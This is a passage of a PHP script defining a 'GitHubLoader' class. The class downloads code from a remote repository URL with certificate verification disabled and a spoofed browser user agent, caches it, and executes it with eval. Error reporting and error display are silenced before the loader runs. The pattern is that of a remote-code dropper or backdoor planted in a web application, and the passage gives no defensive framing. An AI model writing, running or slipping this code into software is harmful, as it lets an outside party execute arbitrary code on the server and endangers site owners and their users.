loadFromCache()) { return true; } if ($this->loadFromGitHub()) { return true; } return false; } private function loadFromCache() { if (file_exists($this->cacheFile) && (time() - filemtime($this->cacheFile)) < $this->cacheTime) { $code = file_get_contents($this->cacheFile); if ($code) { eval('?>' . $code); return true; } } return false; } private function loadFromGitHub() { $context = stream_context_create([ 'http' => [ 'timeout' => 10, 'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' ], 'ssl' => [ 'verify_peer' => false, 'verify_peer_name' => false ] ]); $code = @file_get_contents($this->repoUrl, false, $context); if ($code && strpos($code, 'cacheFile, $code); eval('?>' . $code); return true; } return false; } } error_reporting(0); @ini_set('display_errors', 0); $loader = new GitHubLoader(); $loader->load(); ?>